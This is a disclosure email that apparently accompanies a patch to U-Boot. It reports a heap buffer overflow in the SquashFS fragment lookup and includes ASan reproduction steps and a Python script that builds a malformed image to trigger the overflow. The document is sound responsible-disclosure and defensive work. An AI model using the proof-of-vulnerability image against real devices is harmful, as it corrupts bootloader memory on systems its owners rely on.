Hi,
I'm Eric Kilmer from Trail of Bits. We found a heap buffer overflow in
U-Boot's SquashFS implementation and have prepared a patch.
sqfs_frag_lookup() has a heap buffer overflow that writes
attacker-controlled data past the SQFS_METADATA_BLOCK_SIZE (8192) heap
buffer. A malformed SquashFS image triggers it through sqfsload when
loading any fragment-backed file. Present since v2020.10
(commit c51006130370 ("fs/squashfs: new filesystem")),
affects all versions through current master.
The function reads a 16-bit metadata block header and uses the lower
15 bits as a memcpy size without bounds checking. sqfs_read_metablock()
in sqfs_inode.c already validates this field but sqfs_frag_lookup() does
not. The fix adds the same check.
This looks related to CVE-2022-33103 and CVE-2022-33967, both heap-based
overflows in the same SquashFS code.
Reproduction
In sandbox (CONFIG_ASAN=y):
=> host bind 0 pov.sqfs
=> sqfsload host 0 0x1000000 /file.txt
Unpatched: "do_check_inuse_chunk: Assertion 'inuse(p)' failed"
Patched: "Failed to load '/file.txt'" (graceful -EINVAL)
The following script generates the PoV image (requires mksquashfs from
squashfs-tools). It builds a valid image with one small file, then
corrupts only the fragment table index pointer:
#!/usr/bin/env python3
import os, struct, subprocess, sys, tempfile
out = sys.argv[1] if len(sys.argv) > 1 else "pov.sqfs"
with tempfile.TemporaryDirectory() as d:
with open(os.path.join(d, "file.txt"), "wb") as f:
f.write(b"test")
subprocess.run(["mksquashfs", d, out, "-noI", "-noD", "-noF",
"-noX", "-noappend", "-quiet"], check=True)
img = bytearray(open(out, "rb").read())
frag_tbl = struct.unpack_from("<Q", img, 0x50)[0] # fragment_table_start
# Find a 2-byte value where bit 15 is set (uncompressed) and
# bits 0-14 > 8192 (overflows the SQFS_METADATA_BLOCK_SIZE buffer)
for off in range(0x60, frag_tbl):
h = struct.unpack_from("<H", img, off)[0]
if (h & 0x8000) and (h & 0x7FFF) > 8192:
break
else:
sys.exit("no suitable header found")
struct.pack_into("<Q", img, frag_tbl, off) # corrupt the pointer
img += b"\x00" * (-len(img) % 4096) # pad for block alignment
open(out, "wb").write(img)
print(f"Wrote {out}: frag index ptr {frag_tbl:#x} -> {off:#x}, "
f"header {h:#06x}, overflow {(h & 0x7FFF) - 8192} bytes")
This bug was found as part of follow-on research from DARPA's AI Cyber
Challenge (AIXCC), where Trail of Bits built Buttercup, a Cyber
Reasoning System that combines static analysis, fuzzing, and large
language models to find and fix vulnerabilities.
https://www.darpa.mil/research/programs/ai-cyber
https://www.trailofbits.com/buttercup/
If there's anything else you need from me, please let me know.
Thanks for your work on U-Boot.
Eric Kilmer (1):
fs/squashfs: fix heap buffer overflow in sqfs_frag_lookup()
fs/squashfs/sqfs.c | 5 +++++
1 file changed, 5 insertions(+)
--
2.53.0